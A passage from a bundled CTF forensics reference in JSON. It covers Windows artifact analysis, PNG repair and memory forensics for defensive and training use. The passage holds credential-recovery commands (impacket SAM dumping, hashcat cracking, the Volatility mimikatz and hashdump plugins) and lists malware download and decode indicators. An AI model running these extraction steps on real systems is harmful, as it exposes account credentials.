seeding.\n\n**References:** Quals Saudi and Oman National Cyber Security CTF 2019 — Hack a nice day, writeup 13232\n\n---\n\n## Corrupted PNG Magic and Lowercase Chunk Repair (Pragyan CTF 2019)\n\n**Pattern:** PNG is unreadable because the 8-byte magic is tampered (e.g. `89 50 4E 47 2E 0A 2E 0A` instead of the correct `89 50 4E 47 0D 0A 1A 0A`) and critical chunk names are lowercased (`idat` instead of `IDAT`). PNG decoders treat lowercase chunk names as \"ancillary\" and skip them, so the image looks empty until the case is fixed. Metadata (e.g. `exiftool` Artist field) then yields the next step.\n\n```bash\n# Step 1: patch magic bytes\nprintf '\\x89PNG\\r\\n\\x1a\\n' | dd of=broken.png conv=notrunc bs=1 count=8\n\n# Step 2: re-capitalise critical chunk names (IHDR, IDAT, IEND, PLTE)\npython3 -c \"\nd = open('broken.png','rb').read()\nd = d.replace(b'idat', b'IDAT').replace(b'iend', b'IEND')\nopen('fixed.png','wb').write(d)\n\"\n\n# Step 3: pull hidden metadata\nexiftool fixed.png | grep -Ei 'artist|comment|desc'\n# Artist : md5_MEf89jf4h9 -> use md5(...) as zip password\n```\n\n**Key insight:** PNG has two orthogonal parseability gates: the 8-byte signature and the case of each chunk name (first letter uppercase = critical). Fix both before concluding the file is empty. `pngcheck -v` flags exactly which byte/chunk is wrong. Once readable, treat EXIF `Artist`, `Description`, and `tEXt`/`iTXt` chunks as prime hiding spots.\n\n**References:** Pragyan CTF 2019 — Magic PNGs, writeup 13833\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":30398,"content_sha256":"8b12770c2be57443e854345d55e47663fee8de70f5ded751759414a107c30f49"},{"filename":"windows.md","content":"# CTF Forensics - Windows\n\n## Table of Contents\n- [Windows Event Logs (.evtx)](#windows-event-logs-evtx)\n- [Registry Analysis](#registry-analysis)\n - [OEMInformation Backdoor Detection](#oeminformation-backdoor-detection)\n- [SAM Database Analysis](#sam-database-analysis)\n- [Recycle Bin Forensics](#recycle-bin-forensics)\n- [Browser History](#browser-history)\n- [Windows Telemetry (imprbeacons.dat)](#windows-telemetry-imprbeaconsdat)\n- [Hosts File Hidden Data](#hosts-file-hidden-data)\n- [Contact Files (.contact)](#contact-files-contact)\n- [WinZip AES Encrypted Archives](#winzip-aes-encrypted-archives)\n- [NTFS Alternate Data Streams](#ntfs-alternate-data-streams)\n- [NTFS MFT Analysis](#ntfs-mft-analysis)\n- [USN Journal ($J) Analysis](#usn-journal-j-analysis)\n- [SAM Account Creation Timing](#sam-account-creation-timing)\n- [Impacket wmiexec.py Artifacts](#impacket-wmiexecpy-artifacts)\n- [PowerShell History as Timeline](#powershell-history-as-timeline)\n- [User Profile Creation as First Login Indicator](#user-profile-creation-as-first-login-indicator)\n- [RDP Session Event IDs](#rdp-session-event-ids)\n- [Windows Defender MPLog Analysis](#windows-defender-mplog-analysis)\n- [Anti-Forensics Detection Checklist](#anti-forensics-detection-checklist)\n- [Windows Memory Forensics: certutil Base64 ZIP Recovery (SEC-T CTF 2017)](#windows-memory-forensics-certutil-base64-zip-recovery-sec-t-ctf-2017)\n- [NTFS EFSTMPWP Folder as cipher.exe Wipe Artifact (Security Fest CTF 2018)](#ntfs-efstmpwp-folder-as-cipherexe-wipe-artifact-security-fest-ctf-2018)\n- [Volatility clipboard Plugin for Copy-Paste Secret Recovery (OtterCTF 2018)](#volatility-clipboard-plugin-for-copy-paste-secret-recovery-otterctf-2018)\n- [Volatility Credential Recovery Toolkit (OtterCTF 2018)](#volatility-credential-recovery-toolkit-otterctf-2018)\n\n---\n\n## Windows Event Logs (.evtx)\n\n**Key Event IDs:**\n\n| Event ID | Description |\n|----------|-------------|\n| 1001 | Bugcheck/reboot |\n| 41 | Unclean shutdown |\n| 4720 | User account created |\n| 4722 | User account enabled |\n| 4724 | Password reset attempted |\n| 4726 | User account deleted |\n| 4738 | User account changed |\n| 4781 | Account name changed (renamed) |\n\n**Parse with python-evtx:**\n```python\nimport Evtx.Evtx as evtx\nimport xml.etree.ElementTree as ET\n\nwith evtx.Evtx(\"Security.evtx\") as log:\n for record in log.records():\n xml_str = record.xml()\n root = ET.fromstring(xml_str)\n ns = {'ns': 'http://schemas.microsoft.com/win/2004/08/events/event'}\n\n event_id = root.find('.//ns:EventID', ns).text\n if event_id == '4720':\n data = {}\n for d in root.findall('.//ns:Data', ns):\n data[d.get('Name')] = d.text\n print(f\"User created: {data.get('TargetUserName')}\")\n```\n\n---\n\n## Registry Analysis\n\n```bash\n# RegRipper\nrip.pl -r NTUSER.DAT -p all\n\n# Key hives\nNTUSER.DAT # User settings\nSAM # User accounts\nSYSTEM # System config\nSOFTWARE # Installed software\n```\n\n### OEMInformation Backdoor Detection\n\n**Location:** `SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\OEMInformation`\n\n```python\nfrom Registry import Registry\n\nreg = Registry.Registry(\"SOFTWARE\")\nkey = reg.open(\"Microsoft\\\\Windows\\\\CurrentVersion\\\\OEMInformation\")\nfor val in key.values():\n print(f\"{val.name()}: {val.value()}\")\n```\n\n**Malware indicator:** Modified `SupportURL` pointing to C2.\n\n---\n\n## SAM Database Analysis\n\n**Required files:**\n- `Windows/System32/config/SAM` - Password hashes\n- `Windows/System32/config/SYSTEM` - Boot key\n\n**Extract hashes with impacket:**\n```python\nfrom impacket.examples.secretsdump import LocalOperations, SAMHashes\n\nlocalOps = LocalOperations('SYSTEM')\nbootKey = localOps.getBootKey()\nsam = SAMHashes('SAM', bootKey)\nsam.dump() # username:RID:LM:NTLM:::\n```\n\n**Verify/Crack NTLM:**\n```python\nfrom Crypto.Hash import MD4\n\ndef ntlm_hash(password):\n h = MD4.new()\n h.update(password.encode('utf-16-le'))\n return h.hexdigest()\n\n# Crack with hashcat\n# hashcat -m 1000 hashes.txt wordlist.txt\n```\n\n**Common RIDs:**\n- 500 = Administrator\n- 501 = Guest\n- 1000+ = User accounts\n\n---\n\n## Recycle Bin Forensics\n\n**Location:** `$Recycle.Bin\\\u003cSID>\\`\n\n**File structure:**\n- `$R\u003crandom>.\u003cext>` - Actual deleted content\n- `$I\u003crandom>.\u003cext>` - Metadata (original path, timestamp)\n\n**Parse $I metadata:**\n```python\n# strings shows original path\n# C.:.\\.U.s.e.r.s.\\.U.s.e.r.4.\\.D.o.c.u.m.e.n.t.s.\\.file.docx\n```\n\n**Hex-encoded flag fragments:**\n```bash\ncat '$R_InternSecret.txt'\n# Output: 4B4354467B72656330...\necho \"4B4354467B72656330...\" | xxd -r -p\n```\n\n---\n\n## Browser History\n\n**Edge/Chrome (SQLite):**\n```python\nimport sqlite3\n\nhistory = \"Users/\u003cuser>/AppData/Local/Microsoft/Edge/User Data/Default/History\"\nconn = sqlite3.connect(history)\ncur = conn.cursor()\ncur.execute(\"SELECT url, title FROM urls ORDER BY last_visit_time DESC\")\nfor url, title in cur.fetchall():\n print(f\"{title}: {url}\")\n```\n\n---\n\n## Windows Telemetry (imprbeacons.dat)\n\n**Location:** `Users/\u003cuser>/AppData/Local/Packages/Microsoft.Windows.ContentDeliveryManager_*/LocalState/`\n\n```bash\nstrings imprbeacons.dat | tr '&' '\\n' | grep -E \"CIP|geo_|COUNTRY\"\n```\n\n**Key fields:** `CIP` (client IP), `geo_lat/long`, `COUNTRY`, `SMBIOSDM`\n\n---\n\n## Hosts File Hidden Data\n\n**Location:** `Windows/System32/drivers/etc/hosts`\n\nAttackers hide data with excessive whitespace:\n```bash\n# Detect hidden content\nxxd hosts | tail -20\n```\n\n---\n\n## Contact Files (.contact)\n\n**Location:** `Users/\u003cuser>/Contacts/*.contact`\n\n**Hidden data in Notes:**\n```xml\n\u003cc:Notes>h1dden_c0ntr4ct5\u003c/c:Notes>\n```\n\n---\n\n## WinZip AES Encrypted Archives\n\n```bash\n# Extract hash\nzip2john encrypted.zip > zip_hash.txt\n\n# Crack with hashcat (mode 13600)\nhashcat -m 13600 zip_hash.txt wordlist.txt\n\n# Hybrid: word + 4 digits\nhashcat -m 13600 zip_hash.txt wordlist.txt -a 6 '?d?d?d?d'\n```\n\n---\n\n## NTFS Alternate Data Streams\n\n**Pattern:** NTFS supports multiple data streams per file. The default stream stores normal file content, but additional named streams (Alternate Data Streams / ADS) can hide arbitrary data invisibly. `dir`, Explorer, and most tools only show the default stream.\n\n**Detection and enumeration:**\n\n```bash\n# On a mounted NTFS volume (Linux):\ngetfattr -R -n ntfs.streams.list /mnt/ntfs/ # List all streams on all files\n\n# Using Sleuth Kit on a raw NTFS image (best for forensics):\nfls -r ntfs_image.dd # Recursive file listing\nfls -r ntfs_image.dd | grep -i \":\" # ADS entries contain \":\"\n# Output: r/r 66-128-4: Documents/credentials.txt:hidden_flag.jpg\n\n# Extract ADS by inode — find inode first:\nistat ntfs_image.dd 66 # Show all attributes for inode 66\n# Look for $DATA attributes with names (e.g., $DATA \"hidden_flag.jpg\")\n\nicat ntfs_image.dd 66-128-4 > hidden_flag.jpg # Extract ADS by full address\n\n# Using ntfsstreams (part of ntfs-3g):\nntfs_streams_list /dev/sda1\n```\n\n**On Windows (live analysis):**\n\n```powershell\n# List ADS on a file\nGet-Item -Path C:\\file.txt -Stream *\n\n# Read ADS content\nGet-Content -Path C:\\file.txt -Stream hidden_data\n\n# dir /r shows ADS (Windows Vista+)\ndir /r C:\\Users\\suspect\\Documents\\\n\n# Common ADS names to check:\n# Zone.Identifier — marks files downloaded from the internet\n# (contains ZoneId, ReferrerUrl, HostUrl)\nGet-Content -Path C:\\file.exe -Stream Zone.Identifier\n```\n\n**Python extraction from raw NTFS image:**\n\n```python\n# Using pytsk3 (Python bindings for Sleuth Kit)\nimport pytsk3\n\nimg = pytsk3.Img_Info(\"ntfs_image.dd\")\nfs = pytsk3.FS_Info(img)\n\n# Walk all files and check for ADS\nfor entry in fs.open_dir(\"/\"):\n for attr in entry:\n if attr.info.type == pytsk3.TSK_FS_ATTR_TYPE_NTFS_DATA:\n name = attr.info.name or \"(default)\"\n if name != \"(default)\":\n print(f\"ADS found: {entry.info.name.name}/{name} \"\n f\"(size: {attr.info.size})\")\n # Read ADS content\n data = entry.read_random(0, attr.info.size, attr.info.type, attr.info.id)\n```\n\n**Key insight:** ADS are invisible to `dir` (without `/r`), Explorer, and most forensic tools that only check default data streams. The Sleuth Kit's `fls` with the colon notation (`inode-type-id`) is the most reliable way to enumerate and extract ADS from images. Malware uses ADS to hide payloads; CTF challenges use them to hide flags. The `Zone.Identifier` stream is the most common ADS — it's automatically added by browsers and email clients to downloaded files.\n\n**When to recognize:** Challenge provides an NTFS image, mentions \"hidden data\", \"hidden in plain sight\", or \"alternate streams\". Credentials files or documents that seem too simple may have ADS attached. Always run `fls -r image.dd | grep \":\"` on any NTFS forensics challenge.\n\n**References:** Google CTF 2019 \"Home Computer\", TCP1P CTF 2023 \"hide and split\", De1CTF 2019 \"DeeplnReal\"\n\n---\n\n## NTFS MFT Analysis\n\n**Location:** `C:\\$MFT` (Master File Table)\n\n**Key techniques:**\n- Filenames are stored in UTF-16LE in the MFT\n- Each file has two timestamp sets: `$STANDARD_INFORMATION` (user-modifiable) and `$FILE_NAME` (system-controlled)\n- Timestomping detection: Compare SI vs FN timestamps; if SI dates are much older than FN dates, the file was timestomped\n\n```python\n# Search MFT for filenames (binary file, use strings)\n# ASCII:\n# strings $MFT | grep -i \"suspicious\"\n# UTF-16LE:\n# strings -el $MFT | grep -i \"suspicious\"\n\n# MFT record structure (1024 bytes each, starting at offset 0):\n# - Offset 0x00: \"FILE\" signature\n# - Attribute 0x30 ($FILE_NAME): Contains FN timestamps (reliable)\n# - Attribute 0x10 ($STANDARD_INFORMATION): Contains SI timestamps (modifiable)\n```\n\n---\n\n## USN Journal ($J) Analysis\n\n**Location:** `C:\\$Extend\\$J` (Update Sequence Number Journal)\n\nTracks all file system changes. Critical when event logs are cleared.\n\n```python\nimport struct, datetime\n\ndef parse_usn_record(data, offset):\n \"\"\"Parse USN_RECORD_V2 at given offset\"\"\"\n rec_len = struct.unpack_from('\u003cI', data, offset)[0]\n major = struct.unpack_from('\u003cH', data, offset + 4)[0] # Must be 2\n file_ref = struct.unpack_from('\u003cQ', data, offset + 8)[0] & 0xFFFFFFFFFFFF\n parent_ref = struct.unpack_from('\u003cQ', data, offset + 16)[0] & 0xFFFFFFFFFFFF\n timestamp = struct.unpack_from('\u003cQ', data, offset + 32)[0]\n reason = struct.unpack_from('\u003cI', data, offset + 40)[0]\n file_attr = struct.unpack_from('\u003cI', data, offset + 52)[0]\n fn_len = struct.unpack_from('\u003cH', data, offset + 56)[0]\n fn_off = struct.unpack_from('\u003cH', data, offset + 58)[0] # Usually 60\n filename = data[offset + fn_off:offset + fn_off + fn_len].decode('utf-16-le')\n dt = datetime.datetime(1601, 1, 1) + datetime.timedelta(microseconds=timestamp // 10)\n return dt, filename, reason, file_attr, parent_ref\n\n# USN Reason flags:\n# 0x1=DATA_OVERWRITE, 0x2=DATA_EXTEND, 0x4=DATA_TRUNCATION\n# 0x100=FILE_CREATE, 0x200=FILE_DELETE, 0x1000=NAMED_DATA_OVERWRITE\n# 0x80000000=CLOSE\n```\n\n**Key forensic uses:**\n- Find file creation/deletion times even when logs are cleared\n- Track wmiexec.py output files (`__\u003ctimestamp>.\u003crandom>`)\n- Determine when PowerShell history was written (timeline of commands)\n- Detect user profile creation (first interactive login time)\n\n---\n\n## SAM Account Creation Timing\n\nWhen Security event logs (EventID 4720) are cleared, determine account creation time from the SAM registry:\n\n```python\nfrom regipy.registry import RegistryHive\n\nsam = RegistryHive('SAM')\n# Navigate to: SAM\\Domains\\Account\\Users\\Names\\\u003cusername>\n# The key's last_modified timestamp = account creation time\nnames_key = sam.get_key('SAM\\\\Domains\\\\Account\\\\Users\\\\Names')\nfor subkey in names_key.iter_subkeys():\n print(f\"{subkey.name}: created {subkey.header.last_modified}\")\n```\n\n---\n\n## Impacket wmiexec.py Artifacts\n\n**wmiexec.py** is a popular remote command execution tool using WMI. Key artifacts:\n\n1. **Output files:** Creates `__\u003cunix_timestamp>.\u003crandom>` in `C:\\Windows\\` (ADMIN$ share)\n - File is created, written with command output, read back, then deleted\n - Each command execution creates a new cycle\n - USN journal preserves create/delete timestamps even after file deletion\n\n2. **WMI Provider Host:** `WMIPRVSE.EXE` prefetch file confirms WMI usage\n\n3. **Timeline reconstruction:** Count USN create-delete cycles for the output file to determine number of commands executed\n\n```python\n# Search for wmiexec output files in MFT\n# strings -el $MFT | grep -E '^__[0-9]{10}'\n# The unix timestamp in the filename = approximate execution start time\n```\n\n---\n\n## PowerShell History as Timeline\n\n**Location:** `C:\\Users\\\u003cuser>\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`\n\nPSReadLine writes commands incrementally. **USN journal DATA_EXTEND events on this file correspond to individual command executions:**\n\n```text\n08:05:19 - FILE_CREATE + DATA_EXTEND → First command entered\n08:05:50 - DATA_EXTEND → Second command entered\n08:09:57 - DATA_EXTEND → Third command entered\n```\n\nThis provides exact execution timestamps for each command even when PowerShell logs are cleared.\n\n---\n\n## User Profile Creation as First Login Indicator\n\nWhen event logs are cleared, the user profile directory creation in USN journal reveals the first interactive login:\n\n```python\n# Search USN journal for username directory creation\n# Reason flag 0x100 (FILE_CREATE) with parent ref matching C:\\Users (MFT ref 512)\n# Example: ithelper DIR FILE_CREATE parent=512 at 08:03:51\n# → First login (RDP/console) was at approximately 08:03\n```\n\n**Key insight:** User profiles are only created on first interactive logon (RDP or console), not via WMI/wmiexec remote execution.\n\n---\n\n## RDP Session Event IDs\n\n**TerminalServices-LocalSessionManager\\Operational:**\n\n| Event ID | Description |\n|----------|-------------|\n| 21 | Session logon succeeded |\n| 22 | Shell start notification received |\n| 23 | Session logoff succeeded |\n| 24 | Session disconnected |\n| 25 | Session reconnection succeeded |\n| 40 | Session created |\n| 41 | Session begin (user notification) |\n| 42 | Shell start (user notification) |\n\n**TerminalServices-RemoteConnectionManager\\Operational:**\n\n| Event ID | Description |\n|----------|-------------|\n| 261 | Listener received connection |\n| 1149 | RDP user authentication succeeded (contains source IP) |\n\n**RemoteDesktopServices-RdpCoreTS\\Operational:**\n\n| Event ID | Description |\n|----------|-------------|\n| 131 | Connection accepted (TCP, contains ClientIP:port) |\n| 102 | Connection from client |\n| 103 | Disconnected (check ReasonCode) |\n\n---\n\n## Windows Defender MPLog Analysis\n\n**Location:** `C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-*.log`\n\nRich source of threat detection timeline, even when other logs are cleared:\n\n```bash\n# Find threat detections\ngrep -i \"DETECTION\\|THREAT\\|QUARANTINE\" MPLog*.log\n\n# Find ASR (Attack Surface Reduction) rule activity\ngrep -i \"ASR\\|Process.*Block\" MPLog*.log\n\n# Key ASR rules (indicators of attack attempts):\n# - \"Block Process Creations originating from PSExec & WMI commands\"\n# - \"Block credential stealing from lsass.exe\"\n```\n\n**Detection History files:** `C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\Service\\DetectionHistory\\`\n- Binary files containing SHA256, file paths, and detection names\n- Parse with `strings` to extract IOCs\n\n---\n\n## Anti-Forensics Detection Checklist\n\nWhen event logs are cleared (attacker used `wevtutil cl` or `Clear-EventLog`):\n\n1. **USN Journal** - Survives log clearing; shows file operations timeline\n2. **SAM registry** - Account creation timestamps preserved\n3. **PowerShell history** - ConsoleHost_history.txt often survives\n4. **Prefetch files** - Shows executed programs (C:\\Windows\\Prefetch\\)\n5. **MFT** - File metadata preserved even for deleted files\n6. **Defender MPLog** - Separate from Windows event logs, often not cleared\n7. **RDP event logs** - TerminalServices logs are separate from Security.evtx\n8. **WMI repository** - C:\\Windows\\System32\\wbem\\Repository\\OBJECTS.DATA\n9. **Browser history** - SQLite databases in user AppData\n10. **Registry timestamps** - Key last_modified times reveal activity\n\n**Security.evtx EventID 1102** = \"The audit log was cleared\" (ironically logged even during clearing)\n\n---\n\n## Windows Memory Forensics: certutil Base64 ZIP Recovery (SEC-T CTF 2017)\n\nVolatility memory dump analysis where `psxview` reveals hidden cmd/powershell processes. A malware batch script uses `bitsadmin` to download and `certutil -decode` to base64-decode payloads. Search memory for `UEsD` (the base64 encoding of ZIP magic `PK\\x03`) to find in-transit base64 archives, then decode to recover ZIP contents including registry entries.\n\n```bash\n# Step 1: Find hidden processes (psxview compares multiple process lists)\nvol.py -f dump.raw --profile=Win7SP1x64 psxview\n\n# Step 2: Dump suspicious process memory\nvol.py -f dump.raw --profile=Win7SP1x64 procdump -p \u003cPID> -D ./dumps/\n\n# Step 3: Scan raw memory for base64-encoded ZIP archives\n# UEsD = base64(\"PK\\x03\") — ZIP magic bytes encoded in base64\nstrings dump.raw | grep -o 'UEsD[A-Za-z0-9+/=]*' > candidates.txt\n\n# Step 4: Decode each candidate\npython3 -c \"\nimport base64, sys\nwith open('candidates.txt') as f:\n for line in f:\n line = line.strip()\n # Pad to valid base64 length\n padded = line + '=' * (-len(line) % 4)\n try:\n data = base64.b64decode(padded)\n if data[:4] == b'PK\\x03\\x04':\n with open('recovered.zip', 'wb') as out:\n out.write(data)\n print('ZIP recovered')\n break\n except Exception:\n pass\n\"\n\n# Step 5: Extract ZIP contents\nunzip recovered.zip\n```\n\n**Malware indicators to look for:**\n- `bitsadmin /transfer` — background download without browser\n- `certutil -decode input.b64 output.exe` — base64 decode abuse\n- Batch files (`.bat`, `.cmd`) in unusual locations (`%TEMP%`, `%APPDATA%`)\n- Registry exports (`.reg` files) inside ZIP payloads\n\n**Key insight:** `certutil` is commonly abused by malware for base64 decoding as a living-off-the-land technique. `UEsD` is the base64 encoding of ZIP magic bytes `PK\\x03` — use it as a memory scanning signature to find in-transit ZIP archives before they are written to disk or after they are deleted.\n\n---\n\n## NTFS EFSTMPWP Folder as cipher.exe Wipe Artifact (Security Fest CTF 2018)\n\n**Pattern (Mr.reagan):** An NTFS image contains `$RECYCLE.BIN` but also a sparsely-used hidden directory named `EFSTMPWP`. This directory is created by `cipher.exe /w` — Windows' built-in tool for overwriting the free space of a volume — to hold the temporary files used for the multi-pass wipe. Its presence means the suspect ran a secure-erase command, so file recovery of deleted data is unlikely to succeed.\n\n**Detection:**\n```bash\n# Mount the NTFS image read-only\nsudo mount -o ro,loop,show_sys_files image.dd /mnt/ntfs\n\n# Look for the wipe artifact\nfind /mnt/ntfs -maxdepth 2 -iname 'EFSTMPWP' -o -iname '$Recycle.Bin'\n\n# MFT entry also records the directory with `cipher.exe` as the creator process\nmft_parser -i image.dd -o mft.csv\ngrep -i 'EFSTMPWP' mft.csv\n```\n\n**Implications:**\n- Do not waste time on carving for deleted user data in the free space; it has been overwritten.\n- Switch focus to alternate persistence paths: `$Recycle.Bin` contents, NTFS journal ($LogFile / $UsnJrnl), Volume Shadow Copies, and MFT resident data.\n- Check `Event Log` (`Security.evtx`, `Microsoft-Windows-Application-Experience%4Program-Inventory.evtx`) for `cipher.exe` execution timestamps — they anchor the anti-forensics timeline.\n\n**Key insight:** Secure-erase tools leave their own filesystem fingerprints. `cipher.exe /w` creates `EFSTMPWP`; `sdelete` creates files named after the wiped target with a `.ZZZ`-style extension; BleachBit leaves `~BleachBit*.tmp`. Grep for these artifact names before launching any recovery job — they tell you whether recovery is even worth attempting.\n\n**References:** Security Fest CTF 2018 — writeup 10206\n\n---\n\n## Volatility clipboard Plugin for Copy-Paste Secret Recovery (OtterCTF 2018)\n\n**Pattern:** Users copy passwords / keys / flags into the clipboard. Windows keeps clipboard data live in memory even after the source application closes. Volatility's `clipboard` plugin enumerates `CF_UNICODETEXT` / `CF_TEXT` buffers and prints the most recent copy-paste content verbatim.\n\n```bash\nvol.py -f memory.vmem --profile=Win7SP1x64 clipboard\n# Volatility 3:\nvol -f memory.vmem windows.clipboard\n```\n\n**Key insight:** Before spending hours carving LSASS or walking process heaps, run `clipboard` — CTF challenges about \"Silly Rick copied his password\" always surface here. Combine with `cmdline`, `consoles`, and `filescan` for full user-activity reconstruction.\n\n**References:** OtterCTF 2018 — Silly Rick, writeup 12596\n\n---\n\n## Volatility Credential Recovery Toolkit (OtterCTF 2018)\n\n**Pattern:** One memory dump, a shopping list of Volatility plugins to try in order:\n\n```bash\n# 1. Recent copy-pasted passwords\nvol.py -f dump.vmem --profile=Win7SP1x64 clipboard\n\n# 2. Loaded plugins: mimikatz (third-party) — plaintext wdigest creds\nvol.py --plugins=./plugin/ -f dump.vmem --profile=Win7SP1x64 mimikatz\n\n# 3. NTLM / LM hashes from SAM hive\nvol.py -f dump.vmem --profile=Win7SP1x64 hivelist # find SAM offset\nvol.py -f dump.vmem --profile=Win7SP1x64 hashdump -y SYSTEM_off -s SAM_off\n\n# 4. Registry values (computer name, policies)\nvol.py -f dump.vmem --profile=Win7SP1x64 printkey \\\n -K 'ControlSet001\\Control\\ComputerName\\ComputerName'\n\n# 5. Process memory carving: dump and grep for patterns\nvol.py -f dump.vmem --profile=Win7SP1x64 memdump -p 3720 -D out/\nstrings out/3720.dmp | grep -iE 'pass|flag'\n\n# 6. Network connection artifacts\nvol.py -f dump.vmem --profile=Win7SP1x64 netscan\n\n# 7. Process tree and loaded DLLs for malware triage\nvol.py -f dump.vmem --profile=Win7SP1x64 pstree\nvol.py -f dump.vmem --profile=Win7SP1x64 dlllist -p PID\n```\n\n**Key insight:** Don't hunt with `strings` alone. The Volatility plugin suite has a plugin for every artifact: clipboard, mimikatz (plaintext), hashdump (hashes), printkey (registry), memdump (per-process memory), netscan (sockets), pstree (process hierarchy), dlllist (loaded modules). Run them in order from cheapest to most expensive.\n\n**References:** OtterCTF 2018 — multiple challenges, writeups 12569–12572, 12596\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":22479,"content_sha256":"c23e7de4e511aa106059e6e00019ff4f264e1893a78839613ab477fc3cee2ace"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"CTF Forensics & Blockchain","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick reference for forensics CTF challenges. Each technique has a one-liner here; see supporting files for full details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Prerequisites","type":"text"}]},{"type":"paragraph","content":[{"text":"Python packages (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"pip install volatility3 Pillow numpy matplotlib","type":"text"}]},{"type":"paragraph","content":[{"text":"Linux (apt):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"apt install binwalk foremost libimage-exiftool-perl tshark sleuthkit \\\n ffmpeg steghide testdisk john pcapfix","type":"text"}]},{"type":"paragraph","content":[{"text":"macOS (Homebrew):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"brew install binwalk exiftool wireshark sleuthkit ffmpeg \\\n testdisk john-jumbo","type":"text"}]},{"type":"paragraph","content":[{"text":"Ruby gems (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"gem install zsteg","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Additional Resources","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"3d-printing.md","type":"text","marks":[{"type":"link","attrs":{"href":"3d-printing.md","title":null}}]},{"text":" - 3D printing forensics (PrusaSlicer binary G-code, QOIF, heatshrink)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"windows.md","type":"text","marks":[{"type":"link","attrs":{"href":"windows.md","title":null}}]},{"text":" - Windows forensics (registry, SAM, event logs, recycle bin, NTFS alternate data streams, USN journal, PowerShell history, Defender MPLog, WMI persistence, Amcache)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"network.md","type":"text","marks":[{"type":"link","attrs":{"href":"network.md","title":null}}]},{"text":" - Network forensics basics (tcpdump, TLS/SSL keylog decryption, TLS master key extraction from coredump, Wireshark, PCAP, port scanning, SMB3 decryption, 5G/NR protocols, WordPress recon, credentials, USB HID steno, BCD encoding, HTTP file upload exfiltration, split archive reassembly via timestamp ordering)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"network-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"network-advanced.md","title":null}}]},{"text":" - Advanced network forensics (packet interval timing encoding, NTLMv2 hash cracking, TCP flag covert channel, DNS last-byte steganography, DNS trailing byte binary encoding, multi-layer PCAP with XOR + ZIP and mDNS key, Brotli decompression bomb seam analysis, SMB RID recycling via LSARPC, Timeroasting MS-SNTP hash extraction, dnscat2 reassembly, RADIUS shared secret cracking, RC4 stream identification, ICMP payload byte rotation, ICMP ping time-delay covert channel)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"peripheral-capture.md","type":"text","marks":[{"type":"link","attrs":{"href":"peripheral-capture.md","title":null}}]},{"text":" - USB/HID/Bluetooth peripheral traffic reconstruction (USB HID mouse/pen drawing recovery, USB HID keyboard capture decoding, USB keyboard LED Morse code exfiltration, USB HID keyboard arrow key navigation tracking, Bluetooth RFCOMM packet reassembly)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"disk-and-memory.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-and-memory.md","title":null}}]},{"text":" - Core disk/memory forensics (Volatility, disk mounting/carving, VM/OVA/VMDK, VMware snapshots, GIMP raw memory dump visual inspection, coredumps, Windows KAPE triage, PowerShell ransomware, Android forensics, Docker container forensics, cloud storage forensics, BSON reconstruction, TrueCrypt/VeraCrypt mounting)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"disk-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-advanced.md","title":null}}]},{"text":" - Advanced disk and memory techniques (deleted partitions, ZFS forensics, GPT GUID encoding, VMDK sparse parsing, memory dump string carving, ransomware key recovery, WordPerfect macro XOR, minidump ISO 9660 recovery, APFS snapshot recovery, RAID 5 XOR recovery, HFS+ resource fork recovery, Kyoto Cabinet hash DB forensics, SQLite edit history reconstruction)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"disk-recovery.md","type":"text","marks":[{"type":"link","attrs":{"href":"disk-recovery.md","title":null}}]},{"text":" - Disk recovery and extraction patterns (LUKS master key recovery, PRNG timestamp seed brute-force, VBA macro binary recovery, FemtoZip decompression, XFS filesystem reconstruction, tar duplicate entry extraction, nested matryoshka filesystem extraction, anti-carving via null byte interleaving, BTRFS subvolume/snapshot recovery, FAT16 free space data recovery, FAT16 deleted file recovery via Sleuth Kit fls/icat, ext2 orphaned inode recovery via fsck, corrupted ZIP header repair)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"steganography.md","type":"text","marks":[{"type":"link","attrs":{"href":"steganography.md","title":null}}]},{"text":" - General steganography (binary border stego, PDF multi-layer stego, SVG keyframes, PNG reorder, file overlays, GIF frame diff Morse code, GZSteg + spammimic, spreadsheet frequency recovery, Kitty terminal graphics protocol decoding, ANSI escape sequence steganography, autostereogram solving, two-layer byte+line interleaving, multi-stream video container stego, progressive PNG layered XOR decryption, QR code reconstruction from curved reflection)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"stego-image.md","type":"text","marks":[{"type":"link","attrs":{"href":"stego-image.md","title":null}}]},{"text":" - Image-specific steganography (JPEG unused DQT table LSB, BMP bitplane QR extraction, image puzzle reassembly, F5 JPEG DCT ratio detection, PNG unused palette entry stego, QR code tile reconstruction, seed-based pixel permutation + multi-bitplane QR, JPEG thumbnail pixel-to-text mapping, conditional LSB with pixel filtering, JPEG slack space, 